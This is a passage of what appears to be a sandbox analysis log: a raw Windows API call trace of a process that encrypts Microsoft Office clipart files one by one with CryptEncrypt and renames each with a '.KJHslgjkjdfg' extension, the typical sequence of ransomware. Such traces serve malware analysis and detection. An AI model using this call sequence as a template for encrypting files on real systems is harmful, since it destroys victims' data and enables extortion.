pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.405] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.407] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.407] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.407] GetProcessHeap () returned 0x990000 [0187.407] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.407] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.407] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.407] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.407] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.407] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.407] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.407] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.407] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.408] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.408] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4bc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4bc, lpOverlapped=0x0) returned 1 [0187.408] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c0) returned 1 [0187.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.408] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4c0, lpOverlapped=0x0) returned 1 [0187.408] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.408] SetEndOfFile (hFile=0x130) returned 1 [0187.410] GetProcessHeap () returned 0x990000 [0187.410] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.410] GetProcessHeap () returned 0x990000 [0187.410] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.410] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.kjhslgjkjdfg")) returned 1 [0187.411] CloseHandle (hObject=0x130) returned 1 [0187.411] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0187.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.412] GetProcessHeap () returned 0x990000 [0187.412] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.412] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.412] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0187.414] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.414] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.414] GetProcessHeap () returned 0x990000 [0187.414] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.414] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.415] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.415] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.415] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.415] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.415] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.415] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.415] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.415] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.415] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x804, lpOverlapped=0x0) returned 1 [0187.415] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x810, dwBufLen=0x810 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x810) returned 1 [0187.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.416] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x810, lpOverlapped=0x0) returned 1 [0187.416] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.416] SetEndOfFile (hFile=0x130) returned 1 [0187.418] GetProcessHeap () returned 0x990000 [0187.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.418] GetProcessHeap () returned 0x990000 [0187.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.kjhslgjkjdfg")) returned 1 [0187.419] CloseHandle (hObject=0x130) returned 1 [0187.419] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0187.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.420] GetProcessHeap () returned 0x990000 [0187.420] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.420] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.420] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.428] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.428] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.428] GetProcessHeap () returned 0x990000 [0187.428] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.428] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.428] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.428] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.428] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.428] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.428] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.428] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.429] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.429] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.429] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15cc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x15cc, lpOverlapped=0x0) returned 1 [0187.430] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15d0, dwBufLen=0x15d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15d0) returned 1 [0187.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.430] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x15d0, lpOverlapped=0x0) returned 1 [0187.430] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.430] SetEndOfFile (hFile=0x130) returned 1 [0187.433] GetProcessHeap () returned 0x990000 [0187.433] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.433] GetProcessHeap () returned 0x990000 [0187.433] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.kjhslgjkjdfg")) returned 1 [0187.434] CloseHandle (hObject=0x130) returned 1 [0187.434] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0187.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.435] GetProcessHeap () returned 0x990000 [0187.435] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.435] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.435] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0187.437] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.437] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.437] GetProcessHeap () returned 0x990000 [0187.437] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.438] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.438] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.438] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.438] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.438] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.438] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.438] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.438] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.438] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.438] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xdc4, lpOverlapped=0x0) returned 1 [0187.438] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdd0) returned 1 [0187.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.439] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xdd0, lpOverlapped=0x0) returned 1 [0187.439] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.439] SetEndOfFile (hFile=0x130) returned 1 [0187.442] GetProcessHeap () returned 0x990000 [0187.442] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.442] GetProcessHeap () returned 0x990000 [0187.442] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.442] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.kjhslgjkjdfg")) returned 1 [0187.443] CloseHandle (hObject=0x130) returned 1 [0187.443] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0187.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.443] GetProcessHeap () returned 0x990000 [0187.443] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.443] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.444] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.446] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.446] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.446] GetProcessHeap () returned 0x990000 [0187.446] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.446] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.446] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.446] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.446] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, 